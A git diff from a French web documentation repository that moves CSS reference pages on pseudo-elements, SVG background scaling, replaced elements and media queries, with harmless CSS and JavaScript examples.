  • Les propriétés raccourcies : {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
    • -
diff --git a/files/fr/web/css/pseudo-elements/index.html b/files/fr/web/css/pseudo-elements/index.html new file mode 100644 index 0000000000..4f9ce9eeb9 --- /dev/null +++ b/files/fr/web/css/pseudo-elements/index.html @@ -0,0 +1,132 @@ +--- +title: Pseudo-éléments +slug: Web/CSS/Pseudo-éléments +tags: + - CSS + - Pseudo-element + - Reference + - Sélecteur +translation_of: Web/CSS/Pseudo-elements +--- +
{{CSSRef}}
+ +

Un pseudo-élément est un mot-clé ajouté à un sélecteur qui permet de mettre en forme certaines parties de l'élément ciblé par la règle. Ainsi, le pseudo-élément {{cssxref("::first-line")}} permettra de ne cibler que la première ligne d'un élément visé par le sélecteur.

+ +
/* La première ligne de chaque élément <p>. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+
+ + + +
+

Note: À la différence des pseudo-éléments, les pseudo-classes peuvent être utilisées afin de mettre en forme un élément en fonction de son état.

+
+ +

Syntaxe

+ +
sélecteur::pseudo-élément {
+  propriété: valeur;
+}
+ +

On ne peut utiliser qu'un seul pseudo-élément dans un sélecteur. Le pseudo-élément doit apparaître après les sélecteurs simple de la déclaration

+ +

Depuis CSS3, on utilise deux fois le caractère deux-points (:) pour préfixer les pseudo-éléments (afin de pouvoir les différencier des pseudo-classes). Toutefois, la plupart des navigateurs prennent en charge les pseudo-éléments pour lesquels le préfixe n'est formé que d'un seul « : ».

+ +

Liste des pseudo-éléments

+ +
+
    +
  • {{CSSxRef("::after", "::after (:after)")}}
    • +
  • {{CSSxRef("::backdrop")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("::before", "::before (:before)")}}
    • +
  • {{CSSxRef("::cue", "::cue (:cue)")}}
    • +
  • {{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}
    • +
  • {{CSSxRef("::first-line", "::first-line (:first-line)")}}
    • +
  • {{CSSxRef("::grammar-error")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("::marker")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("::part")}} {{Experimental_inline}}
    • +
  • {{CSSxRef("::placeholder")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("::selection")}}
    • +
  • {{CSSxRef("::slotted", "::slotted()")}}
    • +
  • {{CSSxRef("::spelling-error")}} {{Experimental_Inline}}
    • +
+
+ +

Exemples

+ +

CSS

+ +
p::first-line {
+  color: blue;
+}
+ +

HTML

+ +
<p>
+  C’était le Lapin Blanc qui revenait en trottinant,
+  et qui cherchait de tous côtés, d’un air inquiet,
+  comme s’il avait perdu quelque chose ; Alice
+  l’entendit qui marmottait : « La Duchesse ! La
+  Duchesse ! Oh ! mes pauvres pattes ; oh ! ma robe
+  et mes moustaches ! Elle me fera guillotiner aussi
+  vrai que des furets sont des furets ! Où pourrais-je
+  bien les avoir perdus ? » Alice devina tout de suite
+  qu’il cherchait l’éventail et la paire de gants paille,
+  et, comme elle avait bon cœur, elle se mit à les
+  chercher aussi ; mais pas moyen de les trouver.
+</p>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', 250, 200)}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurVersion minimalePrise en charge de :
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/pseudo-\303\251l\303\251ments/index.html" "b/files/fr/web/css/pseudo-\303\251l\303\251ments/index.html" deleted file mode 100644 index 4f9ce9eeb9..0000000000 --- "a/files/fr/web/css/pseudo-\303\251l\303\251ments/index.html" +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Pseudo-éléments -slug: Web/CSS/Pseudo-éléments -tags: - - CSS - - Pseudo-element - - Reference - - Sélecteur -translation_of: Web/CSS/Pseudo-elements ---- -
{{CSSRef}}
- -

Un pseudo-élément est un mot-clé ajouté à un sélecteur qui permet de mettre en forme certaines parties de l'élément ciblé par la règle. Ainsi, le pseudo-élément {{cssxref("::first-line")}} permettra de ne cibler que la première ligne d'un élément visé par le sélecteur.

- -
/* La première ligne de chaque élément <p>. */
-p::first-line {
-  color: blue;
-  text-transform: uppercase;
-}
-
- - - -
-

Note: À la différence des pseudo-éléments, les pseudo-classes peuvent être utilisées afin de mettre en forme un élément en fonction de son état.

-
- -

Syntaxe

- -
sélecteur::pseudo-élément {
-  propriété: valeur;
-}
- -

On ne peut utiliser qu'un seul pseudo-élément dans un sélecteur. Le pseudo-élément doit apparaître après les sélecteurs simple de la déclaration

- -

Depuis CSS3, on utilise deux fois le caractère deux-points (:) pour préfixer les pseudo-éléments (afin de pouvoir les différencier des pseudo-classes). Toutefois, la plupart des navigateurs prennent en charge les pseudo-éléments pour lesquels le préfixe n'est formé que d'un seul « : ».

- -

Liste des pseudo-éléments

- -
-
    -
  • {{CSSxRef("::after", "::after (:after)")}}
    • -
  • {{CSSxRef("::backdrop")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("::before", "::before (:before)")}}
    • -
  • {{CSSxRef("::cue", "::cue (:cue)")}}
    • -
  • {{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}
    • -
  • {{CSSxRef("::first-line", "::first-line (:first-line)")}}
    • -
  • {{CSSxRef("::grammar-error")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("::marker")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("::part")}} {{Experimental_inline}}
    • -
  • {{CSSxRef("::placeholder")}} {{Experimental_Inline}}
    • -
  • {{CSSxRef("::selection")}}
    • -
  • {{CSSxRef("::slotted", "::slotted()")}}
    • -
  • {{CSSxRef("::spelling-error")}} {{Experimental_Inline}}
    • -
-
- -

Exemples

- -

CSS

- -
p::first-line {
-  color: blue;
-}
- -

HTML

- -
<p>
-  C’était le Lapin Blanc qui revenait en trottinant,
-  et qui cherchait de tous côtés, d’un air inquiet,
-  comme s’il avait perdu quelque chose ; Alice
-  l’entendit qui marmottait : « La Duchesse ! La
-  Duchesse ! Oh ! mes pauvres pattes ; oh ! ma robe
-  et mes moustaches ! Elle me fera guillotiner aussi
-  vrai que des furets sont des furets ! Où pourrais-je
-  bien les avoir perdus ? » Alice devina tout de suite
-  qu’il cherchait l’éventail et la paire de gants paille,
-  et, comme elle avait bon cœur, elle se mit à les
-  chercher aussi ; mais pas moyen de les trouver.
-</p>
- -

Résultat

- -

{{EmbedLiveSample('Exemples', 250, 200)}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurVersion minimalePrise en charge de :
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
- -

Voir aussi

- - diff --git "a/files/fr/web/css/redimensionnement_arri\303\250re-plans_svg/index.html" "b/files/fr/web/css/redimensionnement_arri\303\250re-plans_svg/index.html" deleted file mode 100644 index ecd528838c..0000000000 --- "a/files/fr/web/css/redimensionnement_arri\303\250re-plans_svg/index.html" +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: Redimensionnement d'arrière-plans SVG -slug: Web/CSS/Redimensionnement_arrière-plans_SVG -tags: - - CSS - - Guide - - SVG -translation_of: Web/CSS/Scaling_of_SVG_backgrounds ---- -

Les images SVG sont très flexibles et lorsqu'on les utilise en CSS avec les propriétés {{cssxref("background-image")}} et {{cssxref("background-size")}}, il faut s'assurer de considérer les différents aspects qui leurs sont propres. Dans cet article, on décrit comment les images SVG sont redimensionnées grâce à ces propriétés.

- -

Un algorithme simple

- -

Dans la plupart des cas, l'algorithme utilisé pourra être réduit à ces quatre règles. Ces règles ne sont pas exhaustives et ne couvrent pas certains cas aux limites mais cela sera suffisant ici :

- -
    -
  1. Si {{cssxref("background-size")}} définit une dimension fixe (des pourcentages ou des unités relatives fixées par le contexte), cette dimension l'emporte.
    2. -
  2. Si l'image possède des proportions intrinsèques (autrement dit, si le ratio largeur/hauteur est constant : 16:9, 4:3, 2.39:1, 1:1), l'arrière-plan sera affiché en conservant ces proportions.
    3. -
  3. Si l'image définit une taille et que celle-ci n'est pas modifiée par une contrainte quelconque, cette taille l'emporte.
    4. -
  4. Dans tous les autres cas, l'image est affichée avec la taille de la zone dédiée à l'arrière-plan.
    5. -
- -

On notera ici que l'algorithme ne prend en cas que les dimensions et/ou les proportions de l'image (leur absence éventullement). Ainsi, une image SVG dont les dimensions sont fixées sera traitée comme une image matricielle de la même taille.

- -

Fichiers d'exemples

- -

Avant d'aller plus loin dans l'exploration des résultats avec {{cssxref("background-size")}}, il serait judicieux de disposer de différentes images sources avec différents paramètres de dimensions, proportions, etc.

- -

Pour chaque cas d'exemple fourni ci-après, l'image est affichée dans une boîte carrée de 150 pixels et un lien est fourni vers le fichier SVG correspondant.

- -

Image sans dimension ni proportion

- -

Cette image ne possède ni dimension ni proportion. Quelle que soit sa taille, il n'y aura pas de ratio largeur/hauteur particulier. On a ici une image qui forme un dégradé, quelles que soient les dimensions et la proportion de l'écran.

- -

no-dimensions-or-ratio.png

- -

Fichier source SVG

- -

Image sans proportion avec une dimension fixée

- -

Cette image mesure 100 pixels de large mais n'a pas de hauteur ni de proportion intrinsèque. On a ainsi une bande d'arrière-plan qui peut être étirée sur toute la hauteur d'un bloc.

- -

100px-wide-no-height-or-ratio.png

- -

Fichier source SVG

- -

Image avec une dimension fixée et des proportions intrinsèques

- -

Cette image mesure 100 pixels de haut mais n'a pas de largeur fixée. Elle définit également une proportion de 3:4. Ainsi, le rapport largeur/hauteur sera toujours 3/4.

- -

On a ici un cas très proche de l'image pour laquelle on définit une largeur et une hauteur car, une fois qu'on a une dimension et une proportion, la deuxième dimension est implicite. Cela n'en reste pas moins un exemple utile.

- -

100px-height-3x4-ratio.png

- -

Fichier source SVG

- -

Image sans largeur ni hauteur mais avec des proportions intrinsèques

- -

Cette image n'indique pas de hauteur ou de largeur mais un ratio intrinsèque de 1:1. On obtiendra toujours un carré (qui pourra être utilisé comme une icône) pour n'importe quelle taille : 32x32, 128x128, or 512x512.

- -

no-dimensions-1x1-ratio.png

- -

Fichier source SVG

- -

Exemples de redimensionnement

- -

Appliquons maintenant différents redimensionnements sur ces images. Pour chacun des exemples qui suivent, les rectangles dessinés font 300 pixels de large et 200 pixels de haut. De plus, on utilise {{cssxref("background-repeat")}} avec no-repeat pour plus de clarté..

- -
Note : Les images montrées ci-après illustrent le rendu attendu. Les navigateurs peuvent ne pas produire le bon résultat.
- -

Indiquer des dimensions fixées sur les deux axes

- -

Si on utilise {{cssxref("background-size")}} pour indiquer la longueur et la largeur de l'image, celles-ci seront toujours utilisées (cf. la règle n°1 précédemment énoncée). Autrement dit, l'image sera toujours étirée pour obtenir ces dimensions, quelles que soient les dimensions initiales de l'image ou ses proportions.

- -

SVG source : Aucune dimension ni proportion

- -

Avec ces déclarations CSS :

- -
background: url(no-dimensions-or-ratio.svg);
-background-size: 125px 175px;
-
- -

On doit obtenir un résultat semblable à :

- -

fixed-no-dimensions-or-ratio.png

- -

SVG source : Une dimension définie et aucune proportion

- -

Avec ces déclarations CSS :

- -
background: url(100px-wide-no-height-or-ratio.svg);
-background-size: 250px 150px;
-
- -

On doit obtenir un résultat semblable à :

- -

fixed-100px-wide-no-height-or-ratio.png

- -

SVG source : Une dimension définie et des proportions intrinsèques

- -

Avec ces déclarations CSS :

- -
background: url(100px-height-3x4-ratio.svg);
-background-size: 275px 125px;
-
- -

On doit obtenir un résultat semblable à :

- -

fixed-100px-height-3x4-ratio.png

- -

SVG source : Aucune largeur ni hauteur définie mais des proportions intrinsèques

- -

Avec ces déclarations CSS :

- -
background: url(no-dimensions-1x1-ratio.svg);
-background-size: 250px 100px;
-
- -

On doit obtenir un résultat semblable à :

- -

fixed-no-dimensions-1x1-ratio.png

- -

Utiliser contain ou cover

- -

En utilisant la valeur cover pour {{cssxref("background-size")}}, l'image sera réduite au maximum pour couvrir toute la zone de l'arrière-plan. contain fonctionne de façon symétrique, l'image est agrandie autant que possible sans être rognée par la zone de l'arrière-plan.

- -

Pour une image avec des proportions intrinsèques, une seule dimension suffira à déterminer la taille pour cover/contain. En revanche, sans ratio, ce n'est pas suffisant et il faut donc utiliser les contraintes de la zone de l'arrière-plan.

- -

SVG source : Aucune dimension ni proportion

- -

Si une image n'a ni dimensions définie, ni proportions définies, les règles 2 ou 3 ne pourront pas s'appliquer. La règle 4 est donc utilisée et l'image couvre toute la zone (ce qui satisfait d'ailleurs les différentes contraintes).

- -
background: url(no-dimensions-or-ratio.svg);
-background-size: contain;
-
- -

Le résultat obtenu sera :

- -

no-dimensions-or-ratio-contain.png

- -

SVG source : Une dimension définie et aucune proportion

- -

De même si l'image possède une dimension mais aucune proportion, la règle 4 sera appliquée : l'image est ainsi redimensionnée pour couvrir toute la zone.

- -
background: url(100px-wide-no-height-or-ratio.svg);
-background-size: contain;
-
- -

Le résultat obtenu sera :

- -

100px-wide-no-height-or-ratio-contain.png

- -

SVG source : Une dimension définie et des proportions intrinsèques

- -

Ici, on a des proportions intrinsèques. Dans ce cas, la règle 1 n'est pas pertinente et on utilise donc la règle 2 : le ratio est conservé (tout en respectant les consignes de contain ou cover). Ainsi, avec contain, la boîte de 300x200 et le ratio de 3:4 entraîneront le dessin d'un arrière-plan de 150x200.

- -
contain
- -
background: url(100px-height-3x4-ratio.svg);
-background-size: contain;
-
- -

Le résultat obtenu sera :

- -

100px-height-3x4-ratio-contain.png

- -

On voit ici que toute l'image est affichée et est contenue dans la boîte sans être rognée.

- -
cover
- -
background: url(100px-height-3x4-ratio.svg);
-background-size: cover;
-
- -

Le résultat obtenu sera :

- -

100px-height-3x4-ratio-cover.png

- -

Dans ce cas, le ratio 3:4 est conservé et l'image est étirée Here, the 3:4 ratio is preserved while still stretching the image to fill the entire box. That causes the bottom of the image to be clipped away.

- -

SVG source : Aucune dimension mais des proportions intrinsèques

- -

On obtient des résultats analogues lorsqu'on manipule une image sans dimension intrinsèque mais avec des proportions intrinsèques.

- -
contain
- -
background: url(no-dimensions-1x1-ratio.svg);
-background-size: contain;
-
- -

Le résultat ressemblera à :

- -

no-dimensions-1x1-ratio-contain.png

- -

On voit ici que l'image est redimensionnée à la plus petite taille tout en conservant le ratio 1:1.

- -
cover
- -
background: url(no-dimensions-1x1-ratio.svg);
-background-size: cover;
-
- -

Le résultat ressemblera à :

- -

no-dimensions-1x1-ratio-cover.png

- -

Ici, l'image est dimensionnée afin de couvrir la plus grande surface avec le ratio 1:1.

- -

Utiliser auto pour les deux axes

- -

Si {{cssxref("background-size")}} vaut auto ou auto auto, ce sera la règle n°2 qui s'appliquera : les proportions intrinsèques devront être conservées.

- -

SVG source : Aucune dimension ni proportion intrinsèque

- -

Lorsque l'image n'a aucune proportion ni dimension, ce sera la dernière règle qui s'appliquera : l'image couvrira toute la surface de la zone.

- -
background: url(no-dimensions-or-ratio.svg);
-background-size: auto auto;
-
- -

Voici le résultat obtenu :

- -

auto-no-dimensions-or-ratio.png

- -

SVG source : une dimension mais aucune proportion intrinsèque

- -

S'il n'y a aucune proportion définie mais qu'une dimension est fournie, la règle n°3 s'appliquera et l'image sera affichée avec ces dimensions.

- -
background: url(100px-wide-no-height-or-ratio.svg);
-background-size: auto auto;
-
- -

Voici le résultat obtenu :

- -

auto-100px-wide-no-height-or-ratio.png

- -

Ici, on voit que la largeur définie par le fichier SVG (100 pixels) est respectée. L'image s'étend sur toute la hauteur de la zone de l'arrière-plan car elle n'est pas définie (explicitement dans les déclarations ou intrinsèquement via l'image).

- -

SVG source : une dimension et des proportions intrinsèques

- -

Si on dispose de proportions intrinsèques et d'une dimension fixée, les deux dimensions sont alors définies.

- -
background: url(100px-height-3x4-ratio.svg);
-background-size: auto auto;
-
- -

Le résultat sera le suivant :

- -

auto-100px-height-3x4-ratio.png

- -

Cette image mesure 100 pixels de haut et possède des proportions intrinsèques avec un ratio de 3:4. La largeur vaut donc 75 pixels et c'est ainsi qu'elle est affichée avec auto.

- -

SVG source : Aucune dimension définie mais des proportions intrinsèques

- -

Lorsqu'un ratio s'applique sans dimension, c'est la règle n°2 qui s'applique. L'image est affichée comme pour contain.

- -
background: url(no-dimensions-1x1-ratio.svg);
-background-size: auto auto;
-
- -

Le résultat ressemblera à :

- -

auto-no-dimensions-1x1-ratio.png

- -

Utiliser auto et une dimension fixée

- -

Avec la première règle, les dimensions définies sont toujours utilisées et il faut donc utiliser les autres règles pour déterminer la seconde dimension.

- -

SVG source : aucune dimension ni proportion intrinsèque

- -

Si l'image ne possède ni dimension ni proportion intrinsèque, c'est la règle 4 qui s'applique et les dimensions de la zone pour l'arrière-plan seront utilisées pour auto.

- -
background: url(no-dimensions-or-ratio.svg);
-background-size: auto 140px;
-
- -

1auto-no-dimensions-or-ratio.png

- -

Ici, la largeur est déterminée grâce à la zone dédiée à l'arrière-plan (règle n°4) et la hauteur est indiquée via la feuille de style (140px).

- -

SVG source : une dimension intrinsèque mais pas de proportion intrinsèque

- -

Si l'image possède une dimension implicite mais pas de ratio, la dimension définie sera utilisée selon la règle n°3 si elle vaut auto dans le code CSS.

- -
background: url(100px-wide-no-height-or-ratio.svg);
-background-size: 200px auto;
-
- -

100px-wide-no-height-or-ratio-length-auto.png

- -

Ici, la valeur de 200px fournie dans la feuille de style surcharge la valeur de 100px définie dans le fichier SVG. Puisqu'il n'y a aucune proportion intrinsèque ni hauteur de définie et qu'on utilise la valeur auto, l'image fera la même hauteur que la zone pour l'arrière-plan.

- -
background: url(100px-wide-no-height-or-ratio.svg);
-background-size: auto 125px;
-
- -

100px-wide-no-height-or-ratio-auto-length.png

- -

Ici, c'est la largeur qui vaut auto et ce sera donc la valeur définie dans l'image SVG (100px) qui sera utilisée. La hauteur est fixée à 125 pixels via la feuille de style.

- -

SVG source : une dimension définie et des proportions intrinsèques

- -

Lorsqu'une dimension est indiquée, la première règle s'applique et la dimension du fichier SVG est utilisée sauf si le CSS la redéfinit. Lorsqu'un ratio est indiqué, celui-ci est utilisé pour déterminer la deuxième dimension.

- -
background: url(100px-height-3x4-ratio.svg);
-background-size: 150px auto;
-
- -

1auto-100px-height-3x4-ratio.png

- -

Ici, la hauteur de l'image a été surchargée pour valoir 150px. Les proportions intrinsèques permettent ensuite de définir la largeur (auto dans la feuille de style).

- -

SVG source : aucune dimension mais des proportions intrinsèques

- -

Si aucune dimension n'est définie dans l'image SVG, ce sera celle du CSS qui sera appliquée. Les proportions intrinsèques sont ensuite utilisées pour déterminer l'autre dimension (selon la rgèle n°2).

- -
background: url(no-dimensions-1x1-ratio.svg);
-background-size: 150px auto;
-
- -

1auto-no-dimensions-1x1-ratio.png

- -

La largeur est définie à 150 pixels via la feuille de style et la hauteur est calculée à partir de cette largeur en utilisant le ratio 1:1, elle vaudra donc 150px ce qui donnera le résultat ci-dessus.

- -

Voir aussi

- - diff --git a/files/fr/web/css/replaced_element/index.html b/files/fr/web/css/replaced_element/index.html new file mode 100644 index 0000000000..eaa2f4d82a --- /dev/null +++ b/files/fr/web/css/replaced_element/index.html @@ -0,0 +1,62 @@ +--- +title: Élément remplacé +slug: Web/CSS/Élément_remplacé +tags: + - CSS + - Reference +translation_of: Web/CSS/Replaced_element +--- +
{{CSSRef}}
+ +

En CSS, un élément remplacé est un élément dont la représentation est en dehors du champ de CSS. Ce sont des objets externes dont la représentation sera indépendante de CSS.

+ +

Autrement dit, ces éléments sont des éléments dont le contenu n'est pas impacté par les styles du documents. La position de l'élément remplacé peut être modifiée avec CSS mais le contenu même de l'élément ne pourra pas être modifiée. Certains éléments remplacés comme {{HTMLElement("iframe")}} peuvent avoir leurs propres feuilles de styles mais ils n'héritent pas de celles du document parent.

+ +

Éléments remplacés

+ +

Les éléments remplacés caractéristiques sont :

+ +
    +
  • {{HTMLElement("img")}},
    • +
  • {{HTMLElement("object")}},
    • +
  • {{HTMLElement("video")}},
    • +
  • {{HTMLElement("iframe")}}
    • +
  • les éléments {{HTMLElement("input")}} de type image
    • +
+ +

Par ailleurs, certains éléments comme :

+ +
    +
  • {{HTMLElement("option")}}
    • +
  • {{HTMLElement("audio")}}
    • +
  • {{HTMLElement("canvas")}}
    • +
  • {{HTMLElement("object")}}
    • +
  • {{HTMLElement("applet")}}
    • +
+ +

sont des éléments remplacés dans certains cas spécifiques. De même un élément {{HTMLElement("input")}} peut être un élément remplacé dans certains cas (lorsqu'il est de type "image" notamment).

+ +

Les objets insérés grâce aux propriétés CSS {{cssxref("content")}} sont des éléments remplacés anonymes (on les qualifie d'anonymes car ils n'existent pas dans la structure du HTML).

+ +

Utiliser CSS avec les éléments remplacés

+ +

Les éléments remplacés sont manipulés de façon spécifique par le moteur CSS, notamment pour le calcul des marges extérieures et certaines valeurs auto.

+ +

On notera que certains éléments remplacés ont des dimensions intrinsèques ou une ligne de base définie, qui sont utilisées par des propriétés CSS comme {{cssxref("vertical-align")}}.

+ +

Contrôler la position des objets au sein de la boîte de contenu

+ +

Certaines propriétés CSS permet d'indiquer la façon dont l'objet contenu dans l'élément remplacé doit occuper la boîte de l'élément. Ces propriétés sont définies dans les spécifications {{SpecName("CSS3 Images")}} et {{SpecName("CSS4 Images")}} :

+ +
+
{{cssxref("object-fit")}}
+
Indique la façon dont le contenu de l'élément remplacé doit s'inscrire dans la boîte de l'élément et comment il doit être redimensionné si besoin.
+
{{cssxref("object-position")}}
+
Indique l'alignement du contenu de l'élément remplacé dans la boîte de l'élément.
+
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/requ\303\252tes_m\303\251dia/index.html" "b/files/fr/web/css/requ\303\252tes_m\303\251dia/index.html" deleted file mode 100644 index 58c6cdc73e..0000000000 --- "a/files/fr/web/css/requ\303\252tes_m\303\251dia/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Media queries -slug: Web/CSS/Requêtes_média -tags: - - Aperçu - - CSS - - CSS Media Queries - - Reference -translation_of: Web/CSS/Media_Queries ---- -
{{CSSRef}}
- -

Les requêtes média, plus souvent appelées media queries, sont un outil de responsive design qui permet d'adapter la feuille de style CSS en fonction de différents paramètres ou caractéristiques de l'appareil. Par exemple, on pourra appliquer différents styles si l'écran de l'appareil utilisé pour consulter le document est plus petit qu'une taille donnée ou si l'utilisateur tient son appareil en mode portrait ou paysage. La règle @ (ou at-rule) {{cssxref("@media")}} est utilisée afin d'appliquer les styles de façon conditionnelle.

- -

De plus, la syntaxe des requêtes média est également employée dans d'autres contextes, notamment l'attribut {{htmlattrxref("media", "source")}} de l'élément {{HTMLElement("source")}} qui permet de définir une chaîne de caractères contenant une requête média afin de choisir le fichier source utilisé pour une image grâce à l'élément HTML {{HTMLElement("picture")}}.

- -

De plus, la méthode du DOM {{domxref("Window.matchMedia()")}} peut être utilisée afin de tester le résultat d'une requête média pour la fenêtre courante. On peut également utiliser la méthode {{domxref("MediaQueryList.addListener()")}} afin de recevoir une notification lorsque l'état de la requête évolue. Grâce à cette fonctionnalité, un site ou une application peut réagir aux changements de configuration, d'orientation ou d'état.

- -

Vous pouvez en découvrir plus dans l'article Tester des requêtes media.

- -

Référence

- -

Règles @

- -
-
    -
  • {{cssxref("@import")}}
    • -
  • {{cssxref("@media")}}
    • -
-
- -

Guides

- -
-
Manipuler les requêtes média
-
Cet article présente les requêtes média, ce qu'elles font, et explique les différentes expressions qu'il est possible d'utiliser.
-
Tester les requêtes média
-
Cet article explique comment tester une requête média grâce à un programme JavaScript. On pourra par exemple déterminer l'état de l'appareil, mettre en place des gestionnaires d'évènements afin d'être notifié lorsque les résultats d'une requête média évoluent (par exemple lorsqu'un utilisateur tourne son appareil).
-
Utiliser des requêtes média pour l'accessibilité
-
Cet article explique comment les requêtes média peuvent être utilisées afin de rendre un site plus accessible.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Voir aussi

- -
    -
  • La règle-@ {{cssxref("@supports")}} afin d'appliquer une mise en forme srlon que l'agent utilisateur prend ou non en charge certaines technologies CSS.
    • -
diff --git "a/files/fr/web/css/requ\303\252tes_m\303\251dia/tester_les_media_queries/index.html" "b/files/fr/web/css/requ\303\252tes_m\303\251dia/tester_les_media_queries/index.html" deleted file mode 100644 index 39539a5749..0000000000 --- "a/files/fr/web/css/requ\303\252tes_m\303\251dia/tester_les_media_queries/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Tester les requêtes média en JavaScript -slug: Web/CSS/Requêtes_média/Tester_les_media_queries -tags: - - Avancé - - CSS - - DOM - - Guide -translation_of: Web/CSS/Media_Queries/Testing_media_queries ---- -
{{CSSRef}}
- -

Le {{Glossary("DOM")}} fournit un certain nombre de fonctionnalités qui permettent de tester les résultats d'une requête média (media query) avec un script. Pour cela, on utilise l'interface {{domxref("MediaQueryList")}} ainsi que ses méthodes et ses propriétés. Une fois qu'on a créé un objet {{domxref("MediaQueryList") }}, on peut vérifier le résultat de la requête ou également recevoir des notifications automatiques lorsque le résultat de la requête change.

- -

Créer une liste de requêtes média

- -

Avant d'évaluer les résultats d'une requête, on doit créer un objet {{domxref("MediaQueryList")}} qui représente la requête média. Pour cela, on utilisera la méthode {{domxref("window.matchMedia")}}.

- -

Ainsi, si on veut avoir une liste de requête qui détermine si l'appareil utilisé est orienté en portrait ou en paysage, on pourra écrire :

- -
var mql = window.matchMedia("(orientation: portrait)");
-
- -

Vérifier le résultat d'une requête

- -

Une fois que la liste de requêtes média a été créée, on peut vérifier le résultat de la requête grâce à la propriété matches qui représente les résultat de la requête :

- -
if (mql.matches) {
-  /* La zone d'affichage/viewport est en portrait */
-} else {
-  /* La zone d'affichage/viewport est en paysage */
-}
-
- -

Recevoir des notifications liées à la requête

- -

Afin de savoir lorsque l'évaluation d'une requête a changé, il sera plus efficace de déclarer un listener plutôt que d'interroger sans cesse le résultat. Pour cela, on pourra utiliser la méthode addListener() sur l'objet {{domxref("MediaQueryList")}} et définir un observateur qui implémente l'interface {{domxref("MediaQueryListListener")}} :

- -
var mql = window.matchMedia("(orientation: portrait)");
-mql.addListener(handleOrientationChange);
-handleOrientationChange(mql);
-
- -

Ce code crée la liste de requêtes média qui teste l'orientation (l'objet mql) puis ajoute un listener. Une fois qu'on a ajouté le listener, on l'invoque une fois. Cela permet d'ajuster l'état initial du listener selon l'orientation de l'appareil (sinon, le code aurait considéré que l'appareil était en portrait par défaut même si ce dernier était en paysage, ce qui aurait engendré des incohérences).

- -

La méthode handleOrientationChange() qu'on implémente ensuite consulte le résultat de la requête et gère le cas où l'orientation est modifiée :

- -
function handleOrientationChange(mql) {
-  if (mql.matches) {
-    /* La zone d'affichage/viewport est en portrait */
-  } else {
-    /* La zone d'affichage/viewport est en paysage */
-  }
-}
-
- -

Terminer la réception des notifications

- -

Lorsqu'on ne souhaite plus recevoir de notifications sur les modifications apportées à la valeur de la requête média, on pourra simplement utiliser removeListener() sur l'objet  {{domxref("MediaQueryList") }} :

- -
mql.removeListener(handleOrientationChange);
-
- -

Compatibilité des navigateurs

- -

Interface MediaQueryList

- - - -

{{Compat("api.MediaQueryList")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/requ\303\252tes_m\303\251dia/utilisation_requ\303\252tes_media_accessibilit\303\251/index.html" "b/files/fr/web/css/requ\303\252tes_m\303\251dia/utilisation_requ\303\252tes_media_accessibilit\303\251/index.html" deleted file mode 100644 index 3ff2740bd8..0000000000 --- "a/files/fr/web/css/requ\303\252tes_m\303\251dia/utilisation_requ\303\252tes_media_accessibilit\303\251/index.html" +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Utilisation des requêtes média pour l'accessibilité -slug: Web/CSS/Requêtes_média/Utilisation_requêtes_media_accessibilité -tags: - - '@media' - - Accessibilité - - CSS -translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility ---- -
{{QuickLinksWithSubpages("/fr/docs/Web/CSS/Requêtes_média/")}}
- -

Les requêtes média (media queries) peuvent être utilisées afin d'améliorer l'accessibilité d'un site web.

- -

Réduction de mouvement - prefers-reduced-motion

- -

